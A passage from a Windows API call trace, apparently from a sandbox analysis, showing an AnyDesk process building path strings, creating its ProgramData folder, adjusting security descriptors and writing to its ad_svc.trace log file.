lpWideCharStr="AnyDesk") returned 8 [0283.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.066] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x193f350 [0283.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x193f350, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.066] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x193f360 [0283.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x193f360, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.066] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f360 | out: hHeap=0x1930000) returned 1 [0283.066] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x193f360 [0283.066] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f350 | out: hHeap=0x1930000) returned 1 [0283.066] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x193f350 [0283.067] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1930bf8 | out: hHeap=0x1930000) returned 1 [0283.067] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f360 | out: hHeap=0x1930000) returned 1 [0283.067] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f028 | out: hHeap=0x1930000) returned 1 [0283.067] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7eaca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0283.067] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f028 [0283.067] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7eaca8, cbMultiByte=-1, lpWideCharStr=0x193f028, cchWideChar=8 | out: lpWideCharStr="AnyDesk") returned 8 [0283.067] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.067] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x193f360 [0283.067] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x193f360, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.067] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.067] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x193f370 [0283.067] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x193f370, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.067] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f370 | out: hHeap=0x1930000) returned 1 [0283.067] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x193f370 [0283.067] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f360 | out: hHeap=0x1930000) returned 1 [0283.067] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.067] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x193f360 [0283.067] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x193f360, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0283.067] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.067] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x193f380 [0283.067] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x193f380, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0283.067] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1930bd8 [0283.067] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f380 | out: hHeap=0x1930000) returned 1 [0283.067] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x193f788 [0283.068] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1930bd8 | out: hHeap=0x1930000) returned 1 [0283.068] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f360 | out: hHeap=0x1930000) returned 1 [0283.068] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193e180 | out: hHeap=0x1930000) returned 1 [0283.068] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f370 | out: hHeap=0x1930000) returned 1 [0283.068] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f028 | out: hHeap=0x1930000) returned 1 [0283.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7eaca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0283.068] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f028 [0283.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7eaca8, cbMultiByte=-1, lpWideCharStr=0x193f028, cchWideChar=8 | out: lpWideCharStr="AnyDesk") returned 8 [0283.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.069] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x193f370 [0283.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x193f370, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.069] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x193f360 [0283.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x193f360, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.069] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f360 | out: hHeap=0x1930000) returned 1 [0283.069] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x193f360 [0283.069] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f370 | out: hHeap=0x1930000) returned 1 [0283.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.069] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x193f370 [0283.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x193f370, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0283.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.069] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x193f380 [0283.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x193f380, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0283.069] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x193e180 [0283.069] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f380 | out: hHeap=0x1930000) returned 1 [0283.069] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x193f7c0 [0283.070] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193e180 | out: hHeap=0x1930000) returned 1 [0283.070] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f370 | out: hHeap=0x1930000) returned 1 [0283.070] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193e1a8 | out: hHeap=0x1930000) returned 1 [0283.070] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f360 | out: hHeap=0x1930000) returned 1 [0283.070] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f028 | out: hHeap=0x1930000) returned 1 [0283.070] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1930bd8 [0283.070] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193e1d0 | out: hHeap=0x1930000) returned 1 [0283.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7eaca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0283.070] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f028 [0283.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7eaca8, cbMultiByte=-1, lpWideCharStr=0x193f028, cchWideChar=8 | out: lpWideCharStr="AnyDesk") returned 8 [0283.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.070] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x193f360 [0283.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x193f360, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.070] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x193f370 [0283.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x193f370, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.070] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f370 | out: hHeap=0x1930000) returned 1 [0283.070] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x193f370 [0283.070] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f360 | out: hHeap=0x1930000) returned 1 [0283.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.071] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x193f360 [0283.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x193f360, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0283.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.071] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x193f380 [0283.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x193f380, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0283.071] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x193e180 [0283.072] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f380 | out: hHeap=0x1930000) returned 1 [0283.072] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x193e1a8 [0283.072] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193e180 | out: hHeap=0x1930000) returned 1 [0283.072] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f360 | out: hHeap=0x1930000) returned 1 [0283.072] CreateDirectoryW (lpPathName="C:\\ProgramData\\AnyDesk" (normalized: "c:\\programdata\\anydesk"), lpSecurityAttributes=0x0) returned 0 [0283.073] GetLastError () returned 0xb7 [0283.073] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193e1a8 | out: hHeap=0x1930000) returned 1 [0283.073] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f370 | out: hHeap=0x1930000) returned 1 [0283.073] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f028 | out: hHeap=0x1930000) returned 1 [0283.073] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1930bd8 | out: hHeap=0x1930000) returned 1 [0283.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.073] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x193f370 [0283.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x193f370, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0a604, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0283.073] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x193f028 [0283.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0a604, cbMultiByte=-1, lpWideCharStr=0x193f028, cchWideChar=7 | out: lpWideCharStr=".trace") returned 7 [0283.073] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x12) returned 0x193d690 [0283.073] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f028 | out: hHeap=0x1930000) returned 1 [0283.073] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f370 | out: hHeap=0x1930000) returned 1 [0283.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.074] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x193f370 [0283.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x193f370, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd1144, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0283.074] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x16) returned 0x193d6b0 [0283.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd1144, cbMultiByte=-1, lpWideCharStr=0x193d6b0, cchWideChar=11 | out: lpWideCharStr="_svc.trace") returned 11 [0283.074] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x1930bd8 [0283.074] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d6b0 | out: hHeap=0x1930000) returned 1 [0283.074] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d690 | out: hHeap=0x1930000) returned 1 [0283.074] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f370 | out: hHeap=0x1930000) returned 1 [0283.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.074] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x193f370 [0283.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x193f370, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0283.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.074] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x193f360 [0283.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x193f360, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0283.074] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x193e180 [0283.074] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f360 | out: hHeap=0x1930000) returned 1 [0283.074] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x48) returned 0x193e1b8 [0283.075] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193e180 | out: hHeap=0x1930000) returned 1 [0283.075] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f370 | out: hHeap=0x1930000) returned 1 [0283.075] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x48) returned 0x193f7f8 [0283.075] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1930db0 | out: hHeap=0x1930000) returned 1 [0283.075] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x48) returned 0x193f848 [0283.075] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f7f8 | out: hHeap=0x1930000) returned 1 [0283.076] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193e1b8 | out: hHeap=0x1930000) returned 1 [0283.076] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xd0) returned 0x193fa10 [0283.076] GetCurrentThreadId () returned 0x520 [0283.076] GetCurrentProcess () returned 0xffffffff [0283.081] GetSecurityInfo () returned 0x0 [0283.103] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x16d8810 [0283.103] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x16d8810, cbSid=0x12d619c | out: pSid=0x16d8810*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x12d619c) returned 1 [0283.103] BuildTrusteeWithSidA () returned 0x12d6194 [0283.103] SetEntriesInAclW () returned 0x0 [0283.104] LocalFree (hMem=0x16d8810) returned 0x0 [0283.104] SetSecurityInfo () returned 0x0 [0283.104] LocalFree (hMem=0x16e96d0) returned 0x0 [0283.104] LocalFree (hMem=0x16e9658) returned 0x0 [0283.104] GetCurrentProcess () returned 0xffffffff [0283.104] GetSecurityInfo () returned 0x0 [0283.104] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x16d8810 [0283.104] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x16d8810, cbSid=0x12d619c | out: pSid=0x16d8810*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x12d619c) returned 1 [0283.104] BuildTrusteeWithSidA () returned 0x12d6194 [0283.104] SetEntriesInAclW () returned 0x0 [0283.105] LocalFree (hMem=0x16d8810) returned 0x0 [0283.105] SetSecurityInfo () returned 0x0 [0283.105] LocalFree (hMem=0x16e96e0) returned 0x0 [0283.105] LocalFree (hMem=0x16e9658) returned 0x0 [0283.105] GetCurrentProcess () returned 0xffffffff [0283.105] GetSecurityInfo () returned 0x0 [0283.105] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x16d8810 [0283.105] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x16d8810, cbSid=0x12d619c | out: pSid=0x16d8810*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x12d619c) returned 1 [0283.105] BuildTrusteeWithSidA () returned 0x12d6194 [0283.105] SetEntriesInAclW () returned 0x0 [0283.106] LocalFree (hMem=0x16d8810) returned 0x0 [0283.106] SetSecurityInfo () returned 0x0 [0283.106] LocalFree (hMem=0x16e96e0) returned 0x0 [0283.106] LocalFree (hMem=0x16e9658) returned 0x0 [0283.106] GetCurrentProcess () returned 0xffffffff [0283.106] GetSecurityInfo () returned 0x0 [0283.106] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x16d8810 [0283.106] CreateWellKnownSid (in: WellKnownSidType=0x1a, DomainSid=0x0, pSid=0x16d8810, cbSid=0x12d619c | out: pSid=0x16d8810*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), cbSid=0x12d619c) returned 1 [0283.106] BuildTrusteeWithSidA () returned 0x12d6194 [0283.106] SetEntriesInAclW () returned 0x0 [0283.107] LocalFree (hMem=0x16d8810) returned 0x0 [0283.107] SetSecurityInfo () returned 0x0 [0283.107] LocalFree (hMem=0x16e96e0) returned 0x0 [0283.107] LocalFree (hMem=0x16e9658) returned 0x0 [0283.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.107] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x193f370 [0283.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x193f370, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.107] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x193f360 [0283.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x193f360, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.107] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f360 | out: hHeap=0x1930000) returned 1 [0283.107] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f370 | out: hHeap=0x1930000) returned 1 [0283.107] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x193f370 [0283.107] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\ad_svc.trace" (normalized: "c:\\programdata\\anydesk\\ad_svc.trace"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x144 [0283.108] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2897 [0283.108] WriteFile (in: hFile=0x144, lpBuffer=0x12d6194*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x12d6190, lpOverlapped=0x0 | out: lpBuffer=0x12d6194*, lpNumberOfBytesWritten=0x12d6190*=0x26, lpOverlapped=0x0) returned 1 [0283.110] GetLastError () returned 0x0 [0283.111] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x400) returned 0x193fae8 [0283.111] GetLastError () returned 0x0 [0283.111] SetLastError (dwErrCode=0x0) [0283.111] WaitForSingleObject (hHandle=0xd8, dwMilliseconds=0xbb8) returned 0x0 [0283.111] GetSystemTime (in: lpSystemTime=0x12d6144 | out: lpSystemTime=0x12d6144*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2c, wMilliseconds=0x20a)) [0283.111] GetCurrentThreadId () returned 0x520 [0283.111] GetCurrentProcessId () returned 0x51c [0283.111] GetLastError () returned 0x0 [0283.111] SetLastError (dwErrCode=0x0) [0283.111] GetLastError () returned 0x0 [0283.111] SetLastError (dwErrCode=0x0) [0283.111] GetLastError () returned 0x0 [0283.111] SetLastError (dwErrCode=0x0) [0283.112] GetLastError () returned 0x0 [0283.112] SetLastError (dwErrCode=0x0) [0283.112] GetLastError () returned 0x0 [0283.112] SetLastError (dwErrCode=0x0) [0283.112] GetLastError () returned 0x0 [0283.112] SetLastError (dwErrCode=0x0) [0283.112] GetLastError () returned 0x0 [0283.112] SetLastError (dwErrCode=0x0) [0283.112] GetLastError () returned 0x0 [0283.112] SetLastError (dwErrCode=0x0) [0283.112] GetLastError () returned 0x0 [0283.112] SetLastError (dwErrCode=0x0) [0283.112] GetLastError () returned 0x0 [0283.112] SetLastError (dwErrCode=0x0) [0283.112] GetLastError () returned 0x0 [0283.112] SetLastError (dwErrCode=0x0) [0283.112] GetLastError () returned 0x0 [0283.112] SetLastError (dwErrCode=0x0) [0283.113] GetLastError () returned 0x0 [0283.113] SetLastError (dwErrCode=0x0) [0283.113] GetLastError () returned 0x0 [0283.113] SetLastError (dwErrCode=0x0) [0283.113] GetLastError () returned 0x0 [0283.113] SetLastError (dwErrCode=0x0) [0283.113] GetLastError () returned 0x0 [0283.113] SetLastError (dwErrCode=0x0) [0283.113] GetLastError () returned 0x0 [0283.113] SetLastError (dwErrCode=0x0) [0283.113] GetLastError () returned 0x0 [0283.113] SetLastError (dwErrCode=0x0) [0283.113] GetLastError () returned 0x0 [0283.113] SetLastError (dwErrCode=0x0) [0283.113] GetLastError () returned 0x0 [0283.113] SetLastError (dwErrCode=0x0) [0283.113] GetLastError () returned 0x0 [0283.113] SetLastError (dwErrCode=0x0) [0283.114] GetLastError () returned 0x0 [0283.114] SetLastError (dwErrCode=0x0) [0283.114] GetLastError () returned 0x0 [0283.114] SetLastError (dwErrCode=0x0) [0283.114] GetLastError () returned 0x0 [0283.114] SetLastError (dwErrCode=0x0) [0283.114] GetLastError () returned 0x0 [0283.114] SetLastError (dwErrCode=0x0) [0283.114] GetLastError () returned 0x0 [0283.114] SetLastError (dwErrCode=0x0) [0283.114] GetLastError () returned 0x0 [0283.114] SetLastError (dwErrCode=0x0) [0283.114] GetLastError () returned 0x0 [0283.114] SetLastError (dwErrCode=0x0) [0283.114] GetLastError () returned 0x0 [0283.114] SetLastError (dwErrCode=0x0) [0283.114] GetLastError () returned 0x0 [0283.114] SetLastError (dwErrCode=0x0) [0283.114] GetLastError () returned 0x0 [0283.115] SetLastError (dwErrCode=0x0) [0283.115] GetLastError () returned 0x0 [0283.115] SetLastError (dwErrCode=0x0) [0283.115] GetLastError () returned 0x0 [0283.115] SetLastError (dwErrCode=0x0) [0283.115] GetLastError () returned 0x0 [0283.115] SetLastError (dwErrCode=0x0) 